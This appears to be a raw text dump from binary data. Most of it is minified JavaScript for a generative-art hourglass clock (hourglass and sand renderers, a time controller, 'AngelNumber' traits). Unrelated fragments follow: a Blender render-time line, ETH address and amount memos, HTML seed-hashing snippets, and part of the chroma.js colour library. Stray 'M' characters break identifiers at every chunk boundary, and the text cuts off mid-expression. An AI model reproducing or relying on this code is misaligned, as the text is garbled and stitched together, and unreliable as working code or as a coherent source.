st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
Blender:RenderTime:00:00.86
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
@j>=:ETH.ETH:0xAa44Bd38ABD5551Bb3d28389D28d0BC32EB75ED8:410384::0
Aj?=:ETH.ETH:0xDB5B6952643171047484311e567F860c0a30ec1C:6231326::0
Bj@=:ETH.ETH:0x224d21eE00F3E114037cbfa3CA7d0fc3667Fd8d1:26667117::0
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
